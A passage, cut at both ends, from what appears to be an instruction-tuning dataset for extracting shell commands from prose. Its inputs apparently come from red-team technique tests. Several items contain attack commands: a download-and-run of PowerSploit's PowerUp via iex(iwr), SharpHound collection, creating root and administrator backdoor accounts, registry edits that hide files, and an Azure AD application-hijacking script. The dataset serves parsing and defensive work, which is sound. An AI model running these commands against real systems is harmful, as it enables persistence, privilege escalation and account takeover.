with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To create a new user in FreeBSD and add them to the root group, use the following command:\npw useradd #{username} -g 0 -d /root -s /bin/sh\necho \"#{password}\" | pw usermod #{username} -h 0; You can establish a new administrator account by executing these commands:\nnet user /add \"#{username}\" \"#{password}\"\nnet localgroup administrators \"#{username}\" /add\n",
    "output": "{\"command_list\": [\"pw useradd #{username} -g 0 -d /root -s /bin/sh\\necho \\\"#{password}\\\" | pw usermod #{username} -h 0\\n\", \"net user /add \\\"#{username}\\\" \\\"#{password}\\\"\\nnet localgroup administrators \\\"#{username}\\\" /add\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To retrieve macOS hardware information and determine if the host is physical or virtual, use the following command: sysctl -n hw.model; For operating system discovery, you can use the following command: Get-CimInstance Win32_OperatingSystem | Select-Object Caption, Version, ServicePackMajorVersion, OSArchitecture, CSName, WindowsDirectory | Out-null",
    "output": "{\"command_list\": [\"sysctl -n hw.model\", \"Get-CimInstance Win32_OperatingSystem | Select-Object Caption, Version, ServicePackMajorVersion, OSArchitecture, CSName, WindowsDirectory | Out-null\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To add a certificate to an Application through its Service Principal for authentication purposes, use the following command sequence: Import-Module -Name AzureAD\n$PWord = ConvertTo-SecureString -String \"#{password}\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"#{username}\", $Pword\nConnect-AzureAD -Credential $Credential > $null\n\n$sp = Get-AzureADServicePrincipal -SearchString \"#{service_principal_name}\" | Select-Object -First 1\nif ($sp -eq $null) { Write-Warning \"Service Principal not found\"; exit }\n\n# in the context of an ART test (and not a real attack), we don't need to keep access for too long. In case the cleanup command isn't called, it's better to ensure that everything expires after 1 day so it doesn't leave this backdoor open for too long\n$credNotAfter = (Get-Date).AddDays(1)\n$certNotAfter = (Get-Date).AddDays(2) # certificate expiry must be later than cred expiry\n\n$cert = New-SelfSignedCertificate -DnsName \"atomicredteam.example.com\" -FriendlyName \"AtomicCert\" -CertStoreLocation Cert:\\CurrentUser\\My -KeyExportPolicy Exportable -Provider \"Microsoft Enhanced RSA and AES Cryptographic Provider\" -NotAfter $certNotAfter\n$keyValue = [System.Convert]::ToBase64String($cert.GetRawCertData())\nWrite-Host \"Generated certificate \"\"$($cert.Thumbprint)\"\"\"\n\nNew-AzureADServicePrincipalKeyCredential -ObjectId $sp.ObjectId -Type AsymmetricX509Cert -CustomKeyIdentifier \"AtomicTest\" -Usage Verify -Value $keyValue -EndDate $credNotAfter\n\nStart-Sleep -s 30\n$tenant = Get-AzureADTenantDetail\n$auth = Connect-AzureAD -TenantId $tenant.ObjectId -ApplicationId $sp.AppId -CertificateThumbprint $cert.Thumbprint\nWrite-Host \"Application Hijacking worked. Logged in successfully as $($auth.Account.Id) of type $($auth.Account.Type)\"\nWrite-Host \"End of Hijacking\"\n; This technique allows you to authenticate as an application by adding a certificate to its App Registration, useful for persistence or privilege escalation. The process requires Azure AD admin access without MFA and can be performed with the following command: Import-Module -Name AzureAD\n$PWord = ConvertTo-SecureString -String \"#{password}\" -AsPlainText -Force\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \"#{username}\", $Pword\nConnect-AzureAD -Credential $Credential > $null\n\n$app = Get-AzureADApplication -SearchString \"#{application_name}\" | Select-Object -First 1\nif ($app -eq $null) { Write-Warning \"Application not found\"; exit }\n\n# in the context of an ART test (and not a real attack), we don't need to keep access for too long. In case the cleanup command isn't called, it's better to ensure that everything expires after 1 day so it doesn't leave this backdoor open for too long\n$credNotAfter = (Get-Date).AddDays(1)\n$certNotAfter = (Get-Date).AddDays(2) # certificate expiry must be later than cred expiry\n\n$cert = New-SelfSignedCertificate -DnsName \"atomicredteam.example.com\" -FriendlyName \"AtomicCert\" -CertStoreLocation Cert:\\CurrentUser\\My -KeyExportPolicy Exportable -Provider \"Microsoft Enhanced RSA and AES Cryptographic Provider\" -NotAfter $certNotAfter\n$keyValue = [System.Convert]::ToBase64String($cert.GetRawCertData())\nWrite-Host \"Generated certificate \"\"$($cert.Thumbprint)\"\"\"\n\nNew-AzureADApplicationKeyCredential -ObjectId $app.ObjectId -Type AsymmetricX509Cert -CustomKeyIdentifier \"AtomicTest\" -Usage Verify -Value $keyValue -EndDate $credNotAfter\n\nStart-Sleep -s 30\n$tenant = Get-AzureADTenantDetail\n$auth = Connect-AzureAD -TenantId $tenant.ObjectId -ApplicationId $app.AppId -CertificateThumbprint $cert.Thumbprint\nWrite-Host \"Application Hijacking worked. Logged in successfully as $($auth.Account.Id) of type $($auth.Account.Type)\"\nWrite-Host \"End of Hijacking\"\n",
    "output": "{\"command_list\": [\"Import-Module -Name AzureAD\\n$PWord = ConvertTo-SecureString -String \\\"#{password}\\\" -AsPlainText -Force\\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \\\"#{username}\\\", $Pword\\nConnect-AzureAD -Credential $Credential > $null\\n\\n$sp = Get-AzureADServicePrincipal -SearchString \\\"#{service_principal_name}\\\" | Select-Object -First 1\\nif ($sp -eq $null) { Write-Warning \\\"Service Principal not found\\\"; exit }\\n\\n# in the context of an ART test (and not a real attack), we don't need to keep access for too long. In case the cleanup command isn't called, it's better to ensure that everything expires after 1 day so it doesn't leave this backdoor open for too long\\n$credNotAfter = (Get-Date).AddDays(1)\\n$certNotAfter = (Get-Date).AddDays(2) # certificate expiry must be later than cred expiry\\n\\n$cert = New-SelfSignedCertificate -DnsName \\\"atomicredteam.example.com\\\" -FriendlyName \\\"AtomicCert\\\" -CertStoreLocation Cert:\\\\CurrentUser\\\\My -KeyExportPolicy Exportable -Provider \\\"Microsoft Enhanced RSA and AES Cryptographic Provider\\\" -NotAfter $certNotAfter\\n$keyValue = [System.Convert]::ToBase64String($cert.GetRawCertData())\\nWrite-Host \\\"Generated certificate \\\"\\\"$($cert.Thumbprint)\\\"\\\"\\\"\\n\\nNew-AzureADServicePrincipalKeyCredential -ObjectId $sp.ObjectId -Type AsymmetricX509Cert -CustomKeyIdentifier \\\"AtomicTest\\\" -Usage Verify -Value $keyValue -EndDate $credNotAfter\\n\\nStart-Sleep -s 30\\n$tenant = Get-AzureADTenantDetail\\n$auth = Connect-AzureAD -TenantId $tenant.ObjectId -ApplicationId $sp.AppId -CertificateThumbprint $cert.Thumbprint\\nWrite-Host \\\"Application Hijacking worked. Logged in successfully as $($auth.Account.Id) of type $($auth.Account.Type)\\\"\\nWrite-Host \\\"End of Hijacking\\\"\\n\", \"Import-Module -Name AzureAD\\n$PWord = ConvertTo-SecureString -String \\\"#{password}\\\" -AsPlainText -Force\\n$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList \\\"#{username}\\\", $Pword\\nConnect-AzureAD -Credential $Credential > $null\\n\\n$app = Get-AzureADApplication -SearchString \\\"#{application_name}\\\" | Select-Object -First 1\\nif ($app -eq $null) { Write-Warning \\\"Application not found\\\"; exit }\\n\\n# in the context of an ART test (and not a real attack), we don't need to keep access for too long. In case the cleanup command isn't called, it's better to ensure that everything expires after 1 day so it doesn't leave this backdoor open for too long\\n$credNotAfter = (Get-Date).AddDays(1)\\n$certNotAfter = (Get-Date).AddDays(2) # certificate expiry must be later than cred expiry\\n\\n$cert = New-SelfSignedCertificate -DnsName \\\"atomicredteam.example.com\\\" -FriendlyName \\\"AtomicCert\\\" -CertStoreLocation Cert:\\\\CurrentUser\\\\My -KeyExportPolicy Exportable -Provider \\\"Microsoft Enhanced RSA and AES Cryptographic Provider\\\" -NotAfter $certNotAfter\\n$keyValue = [System.Convert]::ToBase64String($cert.GetRawCertData())\\nWrite-Host \\\"Generated certificate \\\"\\\"$($cert.Thumbprint)\\\"\\\"\\\"\\n\\nNew-AzureADApplicationKeyCredential -ObjectId $app.ObjectId -Type AsymmetricX509Cert -CustomKeyIdentifier \\\"AtomicTest\\\" -Usage Verify -Value $keyValue -EndDate $credNotAfter\\n\\nStart-Sleep -s 30\\n$tenant = Get-AzureADTenantDetail\\n$auth = Connect-AzureAD -TenantId $tenant.ObjectId -ApplicationId $app.AppId -CertificateThumbprint $cert.Thumbprint\\nWrite-Host \\\"Application Hijacking worked. Logged in successfully as $($auth.Account.Id) of type $($auth.Account.Type)\\\"\\nWrite-Host \\\"End of Hijacking\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For displaying the routing tables maintained by the kernel, use the command: ip route show; To view the kernel's routing tables, specifically the default route, use the following command: netstat -r | grep default",
    "output": "{\"command_list\": [\"ip route show\\n\", \"netstat -r | grep default\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can display hidden files in MacOS by executing this command: defaults write com.apple.finder AppleShowAllFiles YES; To prevent malware from hiding files by disabling the Show Hidden files option, apply these registry modifications via the following commands: reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced /v ShowSuperHidden /t REG_DWORD /d 0 /f\nreg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced /v Hidden /t REG_DWORD /d 0 /f",
    "output": "{\"command_list\": [\"defaults write com.apple.finder AppleShowAllFiles YES\\n\", \"reg add HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\Advanced /v ShowSuperHidden /t REG_DWORD /d 0 /f\\nreg add HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\Advanced /v Hidden /t REG_DWORD /d 0 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The system will display network connections and sessions when you use this command sequence: netstat\nnet use\nnet sessions\n; You can obtain details about active network connections by executing this command: Get-NetTCPConnection",
    "output": "{\"command_list\": [\"netstat\\nnet use\\nnet sessions\\n\", \"Get-NetTCPConnection\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, 